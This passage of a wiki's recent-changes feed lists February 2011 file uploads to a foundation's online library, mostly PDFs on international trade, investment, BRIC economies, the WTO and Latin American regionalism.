[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Do_Trade_Investment_Agreements_Lead_to_more_FDI.pdf&amp;diff=1827</id>
		<title>Archivo:Do Trade Investment Agreements Lead to more FDI.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Do_Trade_Investment_Agreements_Lead_to_more_FDI.pdf&amp;diff=1827"/>
		<updated>2011-02-25T01:53:26Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:The_Internet_and_SMEs%27_Internationalization-Cases_Studies_of_Swedish_Manufacturing_SMEs.pdf&amp;diff=1826</id>
		<title>Archivo:The Internet and SMEs' Internationalization-Cases Studies of Swedish Manufacturing SMEs.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:The_Internet_and_SMEs%27_Internationalization-Cases_Studies_of_Swedish_Manufacturing_SMEs.pdf&amp;diff=1826"/>
		<updated>2011-02-24T01:23:43Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:South_Africa%27s_way_ahead_-_Shall_we_Samba.pdf&amp;diff=1825</id>
		<title>Archivo:South Africa's way ahead - Shall we Samba.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:South_Africa%27s_way_ahead_-_Shall_we_Samba.pdf&amp;diff=1825"/>
		<updated>2011-02-24T01:22:30Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Regionalismo_y_soberan%C3%ADa_nacional_en_Am%C3%A9rica_Latina_-_los_nuevos_desafios.pdf&amp;diff=1824</id>
		<title>Archivo:Regionalismo y soberanía nacional en América Latina - los nuevos desafios.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Regionalismo_y_soberan%C3%ADa_nacional_en_Am%C3%A9rica_Latina_-_los_nuevos_desafios.pdf&amp;diff=1824"/>
		<updated>2011-02-24T01:20:03Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Regional_Trade_and_Growth_in_Asia_and_Latin_America_-_the_importance_of_Productive_Complementarity.pdf&amp;diff=1823</id>
		<title>Archivo:Regional Trade and Growth in Asia and Latin America - the importance of Productive Complementarity.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Regional_Trade_and_Growth_in_Asia_and_Latin_America_-_the_importance_of_Productive_Complementarity.pdf&amp;diff=1823"/>
		<updated>2011-02-24T01:18:50Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:NON-TARIFF_MEASURES_-_Evidence_from_selected_developing_countries_and_future_research_agenda.pdf&amp;diff=1822</id>
		<title>Archivo:NON-TARIFF MEASURES - Evidence from selected developing countries and future research agenda.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:NON-TARIFF_MEASURES_-_Evidence_from_selected_developing_countries_and_future_research_agenda.pdf&amp;diff=1822"/>
		<updated>2011-02-24T01:17:21Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Lamy_-_Sports_equipment_typifies_new_global_production_pattern.pdf&amp;diff=1821</id>
		<title>Archivo:Lamy - Sports equipment typifies new global production pattern.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Lamy_-_Sports_equipment_typifies_new_global_production_pattern.pdf&amp;diff=1821"/>
		<updated>2011-02-24T01:12:52Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:GLOBALIZATION_FOR_DEVELOPMENT_-_the_international_trade_perspective.pdf&amp;diff=1820</id>
		<title>Archivo:GLOBALIZATION FOR DEVELOPMENT - the international trade perspective.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:GLOBALIZATION_FOR_DEVELOPMENT_-_the_international_trade_perspective.pdf&amp;diff=1820"/>
		<updated>2011-02-24T01:12:24Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Deepening_China-Taiwan_-_Relations_through_the_Economic_Cooperation_Framework_Agreement.pdf&amp;diff=1819</id>
		<title>Archivo:Deepening China-Taiwan - Relations through the Economic Cooperation Framework Agreement.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Deepening_China-Taiwan_-_Relations_through_the_Economic_Cooperation_Framework_Agreement.pdf&amp;diff=1819"/>
		<updated>2011-02-24T01:00:18Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Competitiveness_Intelligence.pdf&amp;diff=1818</id>
		<title>Archivo:Competitiveness Intelligence.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Competitiveness_Intelligence.pdf&amp;diff=1818"/>
		<updated>2011-02-24T00:59:55Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Can_Developing_Countries_Continue_to_Lead_Global_Growth_.pdf&amp;diff=1817</id>
		<title>Archivo:Can Developing Countries Continue to Lead Global Growth .pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Can_Developing_Countries_Continue_to_Lead_Global_Growth_.pdf&amp;diff=1817"/>
		<updated>2011-02-24T00:59:14Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Asia_and_Europe_-_Engaging_for_a_Post-Crisis_World.pdf&amp;diff=1816</id>
		<title>Archivo:Asia and Europe - Engaging for a Post-Crisis World.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Asia_and_Europe_-_Engaging_for_a_Post-Crisis_World.pdf&amp;diff=1816"/>
		<updated>2011-02-24T00:58:49Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:A_new_approach_to_transparency_and_accountability_in_the_WTO.pdf&amp;diff=1815</id>
		<title>Archivo:A new approach to transparency and accountability in the WTO.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:A_new_approach_to_transparency_and_accountability_in_the_WTO.pdf&amp;diff=1815"/>
		<updated>2011-02-22T02:13:09Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:What_BRIC_would_be_without_China.pdf&amp;diff=1814</id>
		<title>Archivo:What BRIC would be without China.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:What_BRIC_would_be_without_China.pdf&amp;diff=1814"/>
		<updated>2011-02-22T02:11:15Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Trying_to_Read_the_New_%E2%80%98Assertive%E2%80%99_China_Right.pdf&amp;diff=1813</id>
		<title>Archivo:Trying to Read the New ‘Assertive’ China Right.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Trying_to_Read_the_New_%E2%80%98Assertive%E2%80%99_China_Right.pdf&amp;diff=1813"/>
		<updated>2011-02-22T02:09:03Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:The_N-11_-_More_Than_an_Acronym.pdf&amp;diff=1812</id>
		<title>Archivo:The N-11 - More Than an Acronym.pdf</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:The_N-11_-_More_Than_an_Acronym.pdf&amp;diff=1812"/>
		<updated>2011-02-22T02:08:28Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
</feed>